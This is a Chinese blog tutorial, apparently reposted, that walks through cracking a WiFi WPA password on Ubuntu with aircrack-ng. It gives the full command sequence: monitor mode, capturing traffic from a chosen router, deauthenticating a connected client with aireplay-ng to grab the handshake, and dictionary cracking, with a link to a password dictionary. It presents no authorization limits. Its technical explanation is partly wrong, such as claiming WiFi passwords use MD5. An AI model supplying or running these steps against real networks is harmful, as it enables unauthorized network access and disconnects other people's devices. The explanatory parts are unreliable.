Ubuntu下用aircrack破解WIFI密码
系統平臺:Ubuntu15.04
工 ? ? ? 具:aircrack1.2 ? ?密碼字典(鏈接: http://pan.baidu.com/s/1nuDVqwL 密碼: wj1e)(如果失效可以聯系我)
1、aircrack獲取
(1)安裝aircrack
下載地址:http://download.aircrack-ng.org/aircrack-ng-1.2-rc2.tar.gz
命令為 wget?http://download.aircrack-ng.org/aircrack-ng-1.2-rc2.tar.gz
? ? ? ? 在網頁中下載也行
? ? ? ? 下載下來的是一個壓縮包,利用命令
? ? ? ? ?tar -zxvf aircrack-ng-1.2-beta1.tar.gz解壓壓縮包(aircrack-ng-1.2-beta1.tar.gz 是你下載的壓縮包的文件名)
? ? ? ? ?然后用make和make INSTALL安裝
? ? ? ? ?完整代碼
<span style="color:#33cc00;"> </span><span style="color:#006600;">wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc2.tar.gztar -zxvf aircrack-ng-1.2-beta1.tar.gzcd aircrack-ng-1.2-beta1makemake INSTALL</span>? ? ? ? 安裝完成之后輸入air按下兩次tab補全,如果出現以下命令說明安裝成功? ? ? ??
? ? ? ??注意:如果并未出現相關命令可以進入安裝包目錄嘗試
? ? ? ? (2)配置
? ? ? ? 安裝組件只要輸入
? sudo apt-get install build-essential libssl-dev pkg-config libnl-3-dev libnl-genl-3-dev
即可
2、wifi破解密碼
破解密碼的原理是將本機的網卡更改為監聽模式監聽周圍的wifi網絡,尋找到目標的MAC地址,然后模擬客戶機向對方路由器發送斷開鏈接的請求,而路由器在斷開連接的時候會自動鏈接,這個時候截獲路由器的握手包即可,密碼文件就包含在其中,之后利用密碼字典破解。路由器密碼的加密算法一般是MD5等,并且是不可逆的意思是無法從密文揭秘出密碼,我們做的是暴力破解,將字典中的密碼發送給路由器直到成功為止,所以成功與否和你的密碼字典豐富度有關。
(1)、關閉網絡和會影響到破解的進程
如果不進行這一步,在進行網絡監聽的時候會無法獲得正確的信息
關閉網絡功能
service net-manager stop
關閉相關進程
sudo airmon-ng check kill
(2)、打開網絡監聽
iwconfig ? ?命令查看本機的網卡,可以看到我的電腦上有一塊無線網卡wlan0
打開網絡監聽
airmon-ng start wlan0
wlan0為你選擇的網卡的名稱,并且我們可以在右下角看到接口名
(3)監聽網絡wifi
監聽所有wifi(這個窗口可以關掉)
sudo airodump-ng mon0
可以看到周圍的網絡的一些信息,我們要用到的是BSSID,CH,ESSID。BSSID是路由器的MAC地址,CH是路由器wifi所在的頻道,ESSID為WIFI的名字。
監聽特定的頻道
sudo airodump-ng --bssid EC:X:X:X:X:A4 -c 11 -w ./crack/tmp mon0
其中--bssid后的EC:X:X:X:X:A4是我們在上一條命令中讀取到的MAC地址;
--c后面的參數是頻道
--w后是要寫入的文件名稱(我寫在當前目錄下的crack目錄中的tmp文件中)
mon0為之前使用到的接口名稱
這個窗口不要關閉,也不要結束進程
BSSID下面是我們選定的路由器的MAC地址,STATION下面是鏈接在路由器上的MAC地址,我們要用到這兩個
(4)獲取握手包
獲取握手數據包,新開一個終端,執行
sudo aireplay-ng -0 2 -a EC:X:X:X:X:A4 -c 04:X:X:X:X:37 mon0
-a后面的參數是我們選擇的路由器的MAC地址
-c后面的參數是對應的客戶機的MAC地址
當上一步時間后面出現WAP handshake時說明獲取成功(圖中綠色區域)
這個步驟要嘗試多次,而且只要出現WAP handshake即可,因為有時候他只會出現很短的時間
(5)破解密碼
當出現WPA handshake時表示握手成功即可破解文件
如下為獲取的握手包文件
然后執行
aircrack-ng -w 1.txt tmp-02.cap
1.txt為密碼字典文件
tmp-02.cap為握手文件
這個過程需要等待,執行速度和計算機的性能有關,可能并不能發現密碼,可以多換幾個密碼字典嘗試
從圖中可以看出KEY FOUND!后面是wifi的密碼3203203203
3、善后
執行下面兩條命令
關閉網絡監聽
airmon-ng stop mon0
打開網絡
service network-manager start
這個破解方法很有局限性只能破解常規型密碼,如果發現更強大的放大我會再發文章的!
如果文章中出現了錯誤,很高興幫忙指出來!
總結
以上是生活随笔為你收集整理的Ubuntu下用aircrack破解WIFI密码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ElasticSearch之HTTP索引
- 下一篇: Ubuntu/Windows下利用“HI